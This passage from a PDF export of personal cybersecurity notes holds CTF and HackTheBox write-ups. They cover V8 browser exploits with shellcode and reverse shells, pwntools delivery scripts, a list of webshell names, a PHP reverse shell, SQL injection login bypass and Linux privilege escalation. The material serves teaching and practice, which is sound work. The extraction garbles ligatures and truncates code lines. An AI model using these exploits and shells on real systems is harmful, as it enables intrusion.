wasm_instance and f . The o"set between wasm_instance and that o"set
appears to be 0x87 . In reality it is 0x88 (remember pointer tagging!), but that
works for us.
It spits out the right base, which is great. Now we just want to get shellcode for
popping calculator as well as a method for copying the shellcode there. I'm gonna
just (once again) shamelessly nab Faith's implementations for that, which are
fairly self-explanatory.
// overwrite the backing store so the 0x100 bytes can be written to where
// this is similar to the arb_write() function
// but we have to redo it because we want to write way more than 8 bytes
let buf_addr = addrof(buf);
let backing_store_addr = buf_addr + 0x20n;
initial_arb_write(backing_store_addr, addr);
// https://xz.aliyun.com/t/5003
var shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752f
copy_shellcode(rwx_base, shellcode);
f();
Running this under GDB causes it to crash for me, but running it in bash works
!ne:
Full Exploit
// conversion functions
var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
// others
var float_arr = [1.5, 2.5];
var map_float = float_arr.oob();
function addrof(obj) {
obj_arr[0] = obj; // put desired obj for address leak into
obj_arr.oob(map_float); // change to float map
let leak = obj_arr[0]; // read address
obj_arr.oob(map_obj); // change back to object map, to prevent
return ftoi(leak); // return leak as an integer
}
function fakeobj(addr) {
float_arr[0] = itof(addr); // placed desired address into index 0
float_arr.oob(map_obj); // change to object map
let fake = float_arr[0]; // get fake object
float_arr.oob(map_float); // swap map back
return fake; // return object
}
function arb_read(addr) {
// tag pointer
if (addr % 2n == 0)
addr += 1n;
// Write to index 0
fake[0] = itof(BigInt(val));
}
// wasm exploit
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;
// shellcode time
function copy_shellcode(addr, shellcode) {
// create a buffer of 0x100 bytes
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 329 of 554
Cybersecurity Notes 5/3/25, 16:17
// https://xz.aliyun.com/t/5003
var shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x7
// pop it
console.log("[+] Copying Shellcode...");
copy_shellcode(rwx_base, shellcode);
f();
Popping it on Chrome
<html>
<head>
<script src="exploit2.js"></script>
</head>
</html>
Make sure exploit2.js is in the same folder. Then load the index.html with
the version of Chrome bundled in the challenge:
And it pops calculator! You can also place it in another folder and use python's
SimpleHTTPServer to serve it and connect that way - it works either way.
Well, we are hackers, we like the idea of a reverse shell, no? Plus it makes you feel
way cooler to be able to do that.
Grabbing the reverse shell code from here and modifying it slightly to change it to
loopback to 127.0.0.1 :
Listening with nc -nvlp 4444 , we get the prompt for a password, which is
12345678 . Input that, and bingo! It even works on the Chrome instance!
Final Thoughts
First o", give Faith a follow, they deserve it.
Secondly, WASM makes no sense to me, but oh well. Sounds like a security
nightmare.
You will need an account for picoCTF to play this. The accounts are free, and there
are hundreds of challenges for all categories - highly recommend it!
Analysis
We are given d8 , source.tar.gz and server.py . Let's look at server.py
!rst:
#!/usr/bin/env python3
import os
import subprocess
import sys
import tempfile
def p(a):
print(a, flush=True)
MAX_SIZE = 20000
input_size = int(input("Provide size. Must be < 5k:"))
if input_size >= MAX_SIZE:
p(f"Received size of {input_size}, which is too big")
sys.exit(-1)
p(f"Provide script please!!")
script_contents = sys.stdin.read(input_size)
p(script_contents)
# Don't buffer
with tempfile.NamedTemporaryFile(buffering=0) as f:
f.write(script_contents.encode("utf-8"))
p("File written. Running. Timeout is 20s")
res = subprocess.run(["./d8", f.name], timeout=20, stdout=subprocess.PIPE,
p("Run Complete")
p(f"Stdout {res.stdout}")
p(f"Stderr {res.stderr}")
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 332 of 554
Cybersecurity Notes 5/3/25, 16:17
p(f"Stderr {res.stderr}")
It's very simple - you input the size of the !le, and then you input the !le itself.
The !le contents get written to a javascript !le, then run under ./d8 with the
output returned. Let's check the source code.
$ 7z x source.tar.gz
$ tar -xvf source.tar
} // namespace
+ }
+
+ if (args[0]->IsArray()) {
+ Local<Array> arr = args[0].As<Array>();
+
+ Local<Value> element;
+ for (uint32_t i = 0; i < arr->Length(); i++) {
+ if (arr->Get(isolate->GetCurrentContext(), i).ToLocal(&element) && elem
+ Local<Number> val = element.As<Number>();
+ func[i] = val->Value();
+ }
+ }
+
+ printf("Memory Dump. Watch your endianness!!:\n");
+ for (uint32_t i = 0; i < arr->Length(); i++) {
+ printf("%d: float %f hex %lx\n", i, func[i], doubleToUint64_t(func[i]))
+ }
+
+ printf("Starting your engine!!\n");
+ void (*foo)() = (void(*)())func;
+ foo();
+ }
+ printf("Done\n");
+}
+
void Shell::ModuleResolutionSuccessCallback(
const FunctionCallbackInfo<Value>& info) {
std::unique_ptr<ModuleResolutionData> module_resolution_data(
@@ -2201,40 +2248,15 @@ Local<String> Shell::Stringify(Isolate* isolate, Local
- global_template->Set(isolate, "readbuffer",
- FunctionTemplate::New(isolate, ReadBuffer));
- global_template->Set(isolate, "readline",
- FunctionTemplate::New(isolate, ReadLine));
- global_template->Set(isolate, "load", FunctionTemplate::New(isolate, Load))
- global_template->Set(isolate, "setTimeout",
- FunctionTemplate::New(isolate, SetTimeout));
- // Some Emscripten-generated code tries to call 'quit', which in turn would
- // call C's exit(). This would lead to memory leaks, because there is no wa
- // we can terminate cleanly then, so we need a way to hide 'quit'.
if (!options.omit_quit) {
global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit
}
- global_template->Set(isolate, "testRunner",
- Shell::CreateTestRunnerTemplate(isolate));
- global_template->Set(isolate, "Realm", Shell::CreateRealmTemplate(isolate))
- global_template->Set(isolate, "performance",
- Shell::CreatePerformanceTemplate(isolate));
- global_template->Set(isolate, "Worker", Shell::CreateWorkerTemplate(isolate
- // Prevent fuzzers from creating side effects.
- if (!i::FLAG_fuzzing) {
- global_template->Set(isolate, "os", Shell::CreateOSTemplate(isolate));
- }
- global_template->Set(isolate, "d8", Shell::CreateD8Template(isolate));
#ifdef V8_FUZZILLI
global_template->Set(
@@ -2243,11 +2265,6 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isola
FunctionTemplate::New(isolate, Fuzzilli), PropertyAttribute::DontEnum);
#endif // V8_FUZZILLI
- if (i::FLAG_expose_async_hooks) {
- global_template->Set(isolate, "async_hooks",
- Shell::CreateAsyncHookTemplate(isolate));
- }
-
return global_template;
}
- isolate->SetHostImportModuleDynamicallyCallback(
+ /*isolate->SetHostImportModuleDynamicallyCallback(
Shell::HostImportModuleDynamically);
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 335 of 554
Cybersecurity Notes 5/3/25, 16:17
Shell::HostImportModuleDynamically);
isolate->SetHostInitializeImportMetaObjectCallback(
- Shell::HostInitializeImportMetaObject);
+ Shell::HostInitializeImportMetaObject);*/
#ifdef V8_FUZZILLI
// Let the parent process (Fuzzilli) know we are ready.
diff --git a/src/d8/d8.h b/src/d8/d8.h
index a6a1037cff..4591d27f65 100644
--- a/src/d8/d8.h
+++ b/src/d8/d8.h
@@ -413,6 +413,9 @@ class Shell : public i::AllStatic {
kNoProcessMessageQueue = false
};
This just just generally quite strange. The only particularly relevant part is the
new AssembleEngine() function:
if (args[0]->IsArray()) {
Local<Array> arr = args[0].As<Array>();
Local<Value> element;
for (uint32_t i = 0; i < arr->Length(); i++) {
if (arr->Get(isolate->GetCurrentContext(), i).ToLocal(&element) &&
Local<Number> val = element.As<Number>();
func[i] = val->Value();
}
}
This is a pretty strange function to have, but the process is simple. FIrst there are
a couple of checks, and if they are not passed, they fail:
Then, if the !rst argument is an array, we cast it to one and store it in arr . We
then loop through arr , and for every index i , we store the result in the local
variable element . If it's a number, it gets written to func at a set o"set.
Essentially, it copies the entirety of arr to func ! With some added checks to
make sure the types are correct.
And then !nally execution is continued from func , like a classic shellcoding
challenge!
Exploitation
This isn't really much of a V8-speci!c challenge - the data we are input is run as
HOWEVER
You can see it's all double values. This means we have to inject shellcode, but in
their #oating-point form rather than as integers.
If you've read the oob-v8 writeup, you know there are common functions for
converting the integers you want to be written to memory to the #oating-point
form that would write them (and if you haven't, check it out).
So now we just need to get valid shellcode, convert it into 64-bit integers and !nd
the #oat equivalent. Once we make the array, we simply call AssembleEngine()
on it and it executes it for us. Easy peasy!
We can't actually interact with the process, only get stdout and stderr , so
we'll have to go to a direct read of flag.txt . We can use pwntools to generate
the shellcode for this:
context.os = 'linux'
context.arch = 'amd64'
shellcode = asm(shellcraft.cat('flag.txt'))
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 338 of 554
Cybersecurity Notes 5/3/25, 16:17
shellcode = asm(shellcraft.cat('flag.txt'))
# get the hex codes for every byte and store them as a string in the list
shellcode = [hex(c)[2:].rjust(2, '0') for c in shellcode]
# get the shellcode bytes in packs of 8, in reverse order for endianness, with
eight_bytes = ['0x' + ''.join(shellcode[i:i+8][::-1]) for i in range(0, len(sh
print(eight_bytes)
We can dump this (after minor cleanup) into exploit.js and convert the entire
list to #oats before calling AssembleEngine() . Make sure you put the n after
every 64-bit value, to signify to the javascript that it's a BigInt type!
payload_float = []
AssembleEngine(payload_float)
And !nally we can deliver it with a python script using pwntools , and parse the
input to get the important bit:
p = remote('mercury.picoctf.net', 48700)
p.sendlineafter(b'5k:', str(len(exploit)).encode())
p.sendlineafter(b'please!!\n', exploit)
p.recvuntil(b"Stdout b'")
flag = p.recvuntil(b"\\")[:-1]
print(flag.decode())
picoCTF{vr00m_vr00m_48f07b402a4020e0}
picoCTF 2021 -
Download Horsepower
Another OOB, but with pointer compression
Analysis
server.py is the same as in Kit Engine - send it a JS !le, it gets run.
torque_files = [
+ "src/builtins/array-horsepower.tq",
"src/builtins/aggregate-error.tq",
"src/builtins/array-at.tq",
"src/builtins/array-copywithin.tq",
diff --git a/src/builtins/array-horsepower.tq b/src/builtins/array-horsepower.
new file mode 100644
index 0000000000..7ea53ca306
--- /dev/null
+++ b/src/builtins/array-horsepower.tq
@@ -0,0 +1,17 @@
+// Gotta go fast!!
+
+namespace array {
+
+transitioning javascript builtin
+ArraySetHorsepower(
+ js-implicit context: NativeContext, receiver: JSAny)(horsepower: JSAny): JS
+ try {
+ const h: Smi = Cast<Smi>(horsepower) otherwise End;
+ const a: JSArray = Cast<JSArray>(receiver) otherwise End;
+ a.SetLength(h);
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 341 of 554
Cybersecurity Notes 5/3/25, 16:17
+ a.SetLength(h);
+ } label End {
+ Print("Improper attempt to set horsepower");
+ }
+ return receiver;
+}
+}
\ No newline at end of file
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index e6fb20d152..abfb553864 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -999,6 +999,10 @@ void Shell::ModuleResolutionSuccessCallback(
resolver->Resolve(realm, module_namespace).ToChecked();
}
- FunctionTemplate::New(isolate, SetTimeout));
- // Some Emscripten-generated code tries to call 'quit', which in turn would
- // call C's exit(). This would lead to memory leaks, because there is no wa
- // we can terminate cleanly then, so we need a way to hide 'quit'.
if (!options.omit_quit) {
global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit
}
- global_template->Set(isolate, "testRunner",
- Shell::CreateTestRunnerTemplate(isolate));
- global_template->Set(isolate, "Realm", Shell::CreateRealmTemplate(isolate))
- global_template->Set(isolate, "performance",
- Shell::CreatePerformanceTemplate(isolate));
- global_template->Set(isolate, "Worker", Shell::CreateWorkerTemplate(isolate
- // Prevent fuzzers from creating side effects.
- if (!i::FLAG_fuzzing) {
- global_template->Set(isolate, "os", Shell::CreateOSTemplate(isolate));
- }
- global_template->Set(isolate, "d8", Shell::CreateD8Template(isolate));
#ifdef V8_FUZZILLI
global_template->Set(
@@ -2243,11 +2221,6 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isola
FunctionTemplate::New(isolate, Fuzzilli), PropertyAttribute::DontEnum);
#endif // V8_FUZZILLI
- if (i::FLAG_expose_async_hooks) {
- global_template->Set(isolate, "async_hooks",
- Shell::CreateAsyncHookTemplate(isolate));
- }
-
return global_template;
}
- isolate->SetHostImportModuleDynamicallyCallback(
+ /*isolate->SetHostImportModuleDynamicallyCallback(
Shell::HostImportModuleDynamically);
isolate->SetHostInitializeImportMetaObjectCallback(
- Shell::HostInitializeImportMetaObject);
+ Shell::HostInitializeImportMetaObject);*/
#ifdef V8_FUZZILLI
// Let the parent process (Fuzzilli) know we are ready.
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 343 of 554
Cybersecurity Notes 5/3/25, 16:17
Then load up d8 under GDB. This version is a lot newer than the one from OOB-
V8, so let's work out what is what.
$gdb d8
gef➤ run --allow-natives-syntax --shell exploit.js
d8> a = [1.5, 2.5]
[1.5, 2.5]
d8> %DebugPrint(a)
DebugPrint: 0xa5e08085179: [JSArray]
- map: 0x0a5e082439f1 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x0a5e0820ab61 <JSArray[0]>
- elements: 0x0a5e08085161 <FixedDoubleArray[2]> [PACKED_DOUBLE_ELEMENTS]
- length: 2
- properties: 0x0a5e0804222d <FixedArray[0]>
- All own properties (excluding elements): {
0xa5e080446d1: [String] in ReadOnlySpace: #length: 0x0a5e0818215d <Accesso
}
- elements: 0x0a5e08085161 <FixedDoubleArray[2]> {
0: 1.5
1: 2.5
}
0xa5e082439f1: [Map]
- type: JS_ARRAY_TYPE
- instance size: 16
- inobject properties: 0
- elements kind: PACKED_DOUBLE_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x0a5e082439c9 <Map(HOLEY_SMI_ELEMENTS)>
- prototype_validity cell: 0x0a5e08182405 <Cell value= 1>
- instance descriptors #1: 0x0a5e0820b031 <DescriptorArray[1]>
- transitions #1: 0x0a5e0820b07d <TransitionArray[4]>Transition array #1:
0x0a5e08044fd5 <Symbol: (elements_transition_symbol)>: (transition to HOL
[1.5, 2.5]
gef➤ x/10gx 0xa5e08085179-1 <--- -1 needed due to pointer tagging!
0xa5e08085178: 0x0804222d082439f1 0x0000000408085161
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 346 of 554
Cybersecurity Notes 5/3/25, 16:17
So, right of the bat there are some di"erences. For example, look at the !rst
value 0x0804222d082439f1 . What on earth is that? Well, if you have eagle eyes
or are familiar with a new V8 feature called pointer compression, you may notice
that it lines up with the properties and the map :
Notice that the last 4 bytes are being stored in that value 0x0804222d082439f1 -
the !rst 4 bytes here at the last 4 bytes of the properties location, and the last
4 bytes are the last 4 of the map pointer.
This is a new feature added to V8 in 2020 called pointer compression, where the
!rst 4 bytes of pointers are not stored as they are constant for all pointers -
instead, a single reference is saved, and only the lower 4 bytes are stored. The
higher 4 bytes, known as the isolate root, are stored in the R13 register. More
information can be found in this blog post, but it's made a huge di"erence to
performance. As well as pointers, smis have also changed representation - instead
of being 32-bit values left-shifted by 32 bits to di"erentiate them from pointers,
they are now simply doubled (left-shifted by one bit) and therefore also stored in
32-bit space.
•
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 347 of 554
Cybersecurity Notes 5/3/25, 16:17
We can see the example of an smi in the second value from the x/10gx
command above: 0x0000000408085161 . The upper 4 bytes are 4 , which is
double 2 , so this is the length of the list. The lower 4 bytes correspond to the
pointer to the elements array, which stores the values themselves. Let's double-
check that:
Note that we don't know the upper 4 bytes, but that's not important!
d8> a.setHorsepower(5)
[1.5, 2.5, , , ]
d8> a[2]
4.763796150676345e-270
d8> ftoi(a[2]).toString(16)
"804222d082439f1"
Fantastic!
function addrof(obj) {
obj_arr[0] = obj; // put desired obj for address leak into index
obj_arr.oob(map_float); // change to float map
let leak = obj_arr[0]; // read address
obj_arr.oob(map_obj); // change back to object map, to prevent issue
return ftoi(leak); // return leak as an integer
}
In our current scenario, you could argue that we can reuse this (with minor
modi!cations) and get this:
function addrof(obj) {
obj_arr[0] = obj; // put desired obj for address leak into index
obj_arr[1] = map_float; // change to float map
let leak = obj_arr[0]; // read address
obj_arr[1] = map_obj; // change back to object map, to prevent issue
However, this does not work. Why? It's the di"erence between these two lines:
In oob-v8, we noted that the function .oob() not only reads an index past the
end, but it also returns it as a double. And that's the key di"erence - in this
challenge, we can read past the end of the array, but this time it's treated as an
object. obj_arr[1] will, therefore, return an object - and a pretty invalid one, at
that!
You might be thinking that we don't need the object map to get an addrof
primitive at all, we just can't set the map back, but we can create a one-use array. I
spent an age working out why it didn't work, instead returning a NaN , but of
course it was this line:
obj_arr[1] = map_float;
Setting the map to that of a #oat array would never work, as it would treat the
!rst index like an object again!
A new addrof()
So, this time we can't copy the object map so easily. But not all is lost! Instead of
having a single OOB read/write, we can set the array to have a huge length . This
way, we can use an OOB on the #oat array to read the map of the object array - if
we set it correctly, that is.
Aligning Memory
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 350 of 554
Cybersecurity Notes 5/3/25, 16:17
Let's create two arrays, one of #oats and one of objects. We'll also grab the #oat
map (which will also contain the properties pointer!) while we're at it.
And then I could slowly increment the index of float_arr , reading along in
memory until we came across two 3.5 values in a row. I would then know that
the location directly after was our desired object, making a reliable leak.
Unfortunately, while debugging, it seems like mixed arrays are not quite that
simple (unsurprisingly, perhaps). Instead, I'm gonna hope and pray that the o"set
is constant (and if it's not, we'll come back and play with the mixed array further).
Let's determine the o"set. I'm gonna %DebugPrint float_arr , obj_arr and
initial_obj :
}
DebugPrint: 0x30e008085985: [JSArray]
- map: 0x30e008243a41 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x30e00820ab61 <JSArray[0]>
- elements: 0x30e008085979 <FixedArray[1]> [PACKED_ELEMENTS]
- length: 50
- properties: 0x30e00804222d <FixedArray[0]>
- All own properties (excluding elements): {
0x30e0080446d1: [String] in ReadOnlySpace: #length: 0x30e00818215d <Access
}
- elements: 0x30e008085979 <FixedArray[1]> {
0: 0x30e00808594d <Object map = 0x30e0082459f9>
}
In line with what we get from %DebugPrint() , we get the lower 4 bytes of
0808594d . If we print from elements onwards for the float_arr :
function addrof(obj) {
obj_arr[0] = obj;
let leak = float_arr[12];
return ftoi(leak);
}
%DebugPrint(initial_obj);
console.log("Leak: 0x" + addrof(initial_obj).toString(16))
Leak: 0x8243a410808593d
DebugPrint: 0x28a60808593d: [JS_OBJECT_TYPE]
- map: 0x28a6082459f9 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x28a608202f11 <Object map = 0x28a6082421b9>
- elements: 0x28a60804222d <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x28a60804222d <FixedArray[0]>
- All own properties (excluding elements): {
0x28a6080477ed: [String] in ReadOnlySpace: #a: 1 (const data field 0), loc
}
The lower 4 bytes match up perfectly. We're gonna return just the last 4 bytes:
A new fakeobj()
function fakeobj(compressed_addr) {
float_arr[12] = itof(compressed_addr);
return obj_arr[0];
}
function fakeobj(compressed_addr) {
float_arr[12] = itof(upper + compressed_addr);
return obj_arr[0];
}
Arbitrary Read
Once again, we're gonna try and gain an arbitrary read by creating a fake array
object that we can control the elements pointer for. The o"sets are gonna be
slightly di"erent due to pointer compression. As we saw earlier, the !rst 8 bytes
are the compressed pointer for properties and map , while the second 8 bytes
are the smi for length and then the compressed pointer for elements . Let's
create an initial arb_rw_array like before, and print out the layout:
%DebugPrint(arb_rw_arr)
The leak works perfectly. Once again, elements is ahead of the JSArray itself.
If we want to try and fake an array with compression pointers then we have the
following format:
The !rst ones we have already solved with float_map . We can !x the latter like
this:
function arb_read(compressed_addr) {
// tag pointer
if (compressed_addr % 2n == 0)
compressed_addr += 1n;
We can test the arbitrary read, and I'm going to do this by grabbing the
float_map location and reading the data there:
// test arb_read
let float_map_lower = ftoi(float_map) & 0xffffffffn
console.log("Map at: 0x" + float_map_lower.toString(16))
console.log("Read: 0x" + arb_read(float_map_lower).toString(16));
A little bit of inspection at the location of float_map shows us we're 8 bytes o":
This is because the !rst 8 bytes in the elements array are for the length smi
and then for a compressed map pointer, so we just subtract if 8 and get a valid
arb_read() :
function arb_read(compressed_addr) {
// tag pointer
if (compressed_addr % 2n == 0)
compressed_addr += 1n;
Arbitrary Write
Initial
minor changes:
// Write to index 0
fake[0] = itof(BigInt(val));
}
We can test this super easily too, with the same principle:
Full
If anybody knows of a way to leak the isolate root, please let me know!
Shellcoding
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 358 of 554
Cybersecurity Notes 5/3/25, 16:17
Shellcoding
The !nal step is to shellcode our way through, using the same technique as last
time. The o"sets are slightly di"erent, but I'm sure that by this point you can !nd
them yourself!
First I'll use any WASM code to create the RWX page, like I did for oob-v8:
gef➤ vmmap
[...]
0x000007106675a000 0x000007106675b000 0x0000000000000000 rwx
[...]
Using the same technique of printing out the wasm_instance address and
comparing it to the output of search-pattern from before:
I get an o"set of 0x67 . In reality it is 0x68 (pointer tagging!), but who cares.
Now we can use the ArrayBuffer technique, because we know all the bits of the
address! We can just yoink it directly from the oob-v8 writeup (slightly changing
0x20 to 0x14 , as that is the new o"set with compression):
// overwrite the backing store so the 0x100 bytes can be written to where
let buf_addr = addrof(buf);
let backing_store_addr = buf_addr + 0x14n;
arb_write(backing_store_addr, addr);
I am going to grab the shellcode for cat flag.txt from this writeup, because I
suck ass at working out endianness and it's a lot of e"ort for a fail :)))
Running this:
$ ./d8 exploit.js
[+] Address of Arbitrary RW Array: 0x8086551
[+] RWX Region located at 0xf06b12a5000
cat: flag.txt: No such file or directory
Ok, epic! Let's deliver it remote using the same script as Kit Engine:
p = remote('mercury.picoctf.net', 60233)
p.sendlineafter(b'5k:', str(len(exploit)).encode())
p.sendlineafter(b'please!!\n', exploit)
p.recvuntil(b"Stdout b'")
flag = p.recvuntil(b"\\")[:-1]
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 360 of 554
Cybersecurity Notes 5/3/25, 16:17
flag = p.recvuntil(b"\\")[:-1]
print(flag.decode())
$ python3 deliver.py
[+] Opening connection to mercury.picoctf.net on port 60233: Done
picoCTF{sh0u1d_hAv3_d0wnl0ad3d_m0r3_rAm_3a9ef72562166255}
[*] Closed connection to mercury.picoctf.net port 60233
Full Exploit
// setup
var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
function addrof(obj) {
obj_arr[0] = obj;
let leak = float_arr[12];
return ftoi(leak) & 0xffffffffn;
}
function fakeobj(compressed_addr) {
float_arr[12] = itof(upper + compressed_addr);
return obj_arr[0];
}
function arb_read(compressed_addr) {
// tag pointer
if (compressed_addr % 2n == 0)
compressed_addr += 1n;
/* test arb_read
let float_map_lower = ftoi(float_map) & 0xffffffffn;
console.log("Map at: 0x" + float_map_lower.toString(16));
console.log("Read: 0x" + arb_read(float_map_lower).toString(16));
*/
// Write to index 0
fake[0] = itof(BigInt(val));
}
/* test initial_arb_write
let float_map_lower = ftoi(float_map) & 0xffffffffn;
console.log("Map at: 0x" + float_map_lower.toString(16));
initial_arb_write(float_map_lower, 0x12345678n);
*/
//
function copy_shellcode(addr, shellcode) {
// create a buffer of 0x100 bytes
let buf = new ArrayBuffer(0x100);
let dataview = new DataView(buf);
// picoCTF{sh0u1d_hAv3_d0wnl0ad3d_m0r3_rAm_3a9ef72562166255}
Reverse Engineering
Strings in C++
Basic Strings
Reversing C++ can be a pain, and part of the reason for that is that in C++ a
std::string can be dynamically-sized. This means its appearance in memory is
more complex than a char[] that you would !nd in C, because std::string
actually contains 3 !elds:
• Size of allocated memory (which must be bigger than or equal to logical size)
class std::string
{
char* buf;
size_t len;
size_t allocated_len;
};
class std::string
{
char* buf;
size_t len;
// union is used to store different data types in the same memory location
// this saves space in case only one of them is necessary
union
{
size_t allocated_len;
char local_buf[8];
};
};
In this example, if the string is 8 bytes or less, local_buf is used and the string is
stored there instead. buf will then point at local_buf , and no heap allocation
is used.
These tricks include notes for Binary Ninja, but IDA looks similar (and I'm sure
GHidra does too).
Example code:
std::vector<uint8_t>::operator[](&vector, sx.q(j))
Is really just
vector[j]
Also, if it doesn't make sense, change types to add extra arguments! Detection is
pretty trash, and it might help a lot.
std::vector<T>::operat
vector[j] T* , int64_t
or[](&vector, sx.q(j))
ARM works a bit di"erently to intel x86 architecture in the way it uses registers
and how instructions are formed.
Registers
• SP - Stack Pointer (same as ESP - points to top of the stack)
• x29 - the Frame Pointer, FP , points to the base of the current functions
stack frame (similar to EBP)
• x30 - the Link Register, LR , which stores the return address of a function
(the return pointer)
// drop down SP
sub sp, sp, 0x20
// Restore FP and LR
ldp X29, X30, [SP], [var_10h]
// Return
ret
Even though it does roughly the same stu", there are a few di"erences between
x86 and ARM64.
The !rst parameter here (as well as for other functions such as add ) is the
register to store the result in. In x86, we assume that the !rst register that we are
adding also stores the result, but ARM makes it explicit.
The stp instruction has no direct x86 equivalent (as far as I am aware!).
Essentially, the !rst two parameters provide registers and the third parameter
tells it where in. memory to save the values. For example, the following
instruction stores x29 and x30 to memory location var_10h :
Finally, the ret instruction is executed. ret transfers the value in x30 ( LR ) to
PC to return execution to the next instruction after the call to the function.
Writeups
Linux Machines
Easy
Traceback
Enumeration
We start o" with a full-port nmap to check running services (most of output
truncated)
We see port 22 with SSH and port 80 with HTTP. Let's check the HTTP.
HTTP
The Message
It seems as if our job is to !nd the "backdoor" into the system. The source has
nothing particularly interesting, except for a comment:
The Comment
alfa3.php
alfav3.0.1.php
andela.php
bloodsecv4.php
by.php
c99ud.php
cmd.php
configkillerionkros.php
jspshell.jsp
mini.php
obfuscated-punknopass.php
punk-nopass.php
punkholic.php
r57.php
smevk.php
wso2.8.5.php
===============================================================
/smevk.php (Status: 200)
===============================================================
The Webshell
It de!nitely exists! The repo tells us the default credentials are admin:admin .
Foothold
The webshell looks horrible, but we have an Execute input where we can run
commands. We can now use this to get an actual reverse shell.
$ nc -nvlp 9001
Next we use a PHP reverse shell on the webshell to redirect execution to it:
We get a connection! This is a fairly bad shell, but we can easily upgrade it to be
useful.
User
Enumeration
Now we have a foothold, let's check what's in our user's home directory. It
appears to be a !le called note.txt :
webadmin@traceback:/home/webadmin$ ls
note.txt
We have been left "a tool to practise Lua". As always, !rst thing we should do as a
new user is check our permissions.
webadmin@traceback:/home/webadmin$ sudo -l
User webadmin may run the following commands on traceback:
(sysadmin) NOPASSWD: /home/sysadmin/luvit
We can run luvit as sysadmin ! We can guess that luvit is the tool that runs
Lua scripts. Because we can run it as sysadmin , if we create a Lua script that
spawns a shell we will spawn with higher privileges.
Exploitation
os.execute("/bin/bash")
This is the command we want to run. We can simply use echo to create it:
You could also have done it in one line using the -e #ag:
Root
Firstly, we want to get a nice SSH shell. We can get this using SSH keys.
$ ssh-keygen -f traceback
I just hit Enter , meaning there's no passphrase. Now cat traceback.pub and
echo it into ~/.ssh/authorized_keys - this registers the keypair as valid.
When using echo in these scenarios, use >> rather than > . Using only a single >
will overwrite all the other contents, essentially erasing any keys owned by other
people, which is not a great thing to do.
To perform some automated privesc recon, I'm going to run linpeas . Port it over
by hosting it on a python SimpleHTPServer:
wget 10.10.14.21/linpeas.sh
These scripts get run every time someone logs in with SSH. If we can modify
them (which we can), they will run whatever we modify them to. The important
part here is they get run as root.
Exploitation
So the privesc is simple, but what should we get the !le to do? There are a couple
types of choices:
In these situations, if both approaches are equivalently easy, then it's a good idea
to go for the approach that a"ects the least other users. Nobody can notice
our reverse shell since it's directly to our IP, so it doesn't a"ect other users.
Make sure you set up an nc listener on port 9002 and then log in via SSH again.
$ nc -nvlp 9002
root@traceback:/# whoami
whoami
root
Medium
Magic
SQL injection, PHP reverse shell upload, mysqldump and PATH injection
Enumeration
As always, let's start with an nmap :
Only ports 22 and 80 . Add magic.htb to your /etc/hosts and let's check
out the website.
HTTP
There's de!nitely a lot going on. By analysing the source we can see some images
are in the images/uploads/ folder, which is useful for later. Let's click the
Login button at the bottom left.
First thing's !rst, let's try the default admin:admin . We get told it's invalid.
Now we can mess with the input to test for SQL injection. Tampering with a
payload such as '<>:32;4#::!@$":' doesn't tell us it's invalid; perhaps it's
having an a"ect?
If we try a basic payload such as admin'# , what happens? The logic here is it logs
in with the username admin and comments out the password check to always
successfully log us in, essentially making it
Success!
UpDown
LFI to RCE using PHAR !les while bypassing disabled_functions, followed by
abuse of SUID and sudo.
Enumeration
As per usual, we knock out a quick nmap :
Webserver
A quick look on the IP gives us a basic page. It appears to be an application that
checks for you whether or not a website it up:
Website Analysis
I listen with sudo nc -nvlp 80 but if we put in our IP, we get an interesting
message:
$ sudo nc -nvlp 80
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.11.177.
Ncat: Connection from 10.10.11.177:43618.
GET / HTTP/1.1
Host: 10.10.14.22
User-Agent: siteisup.htb
Accept: */*
It's down
This makes sense as we are not sending a response, so it has no way of telling. If
we instead serve port 80 with a python SimpleHTTPServer , which has a
response, we are told it's up:
If we turn on Debug Mode , the website prints out the headers and the HTML
data.
We can also realise that we can use http://127.0.0.1 as input so SSRF could be
possible. If we try and use other wrappers like file:// or php:// then it
breaks and we get the Hacking attempt was detected ! message again.
It's not all wrappers that get blocked, as ippsec showed in his video, as ftp and
gopher both work !ne.
Gobuster
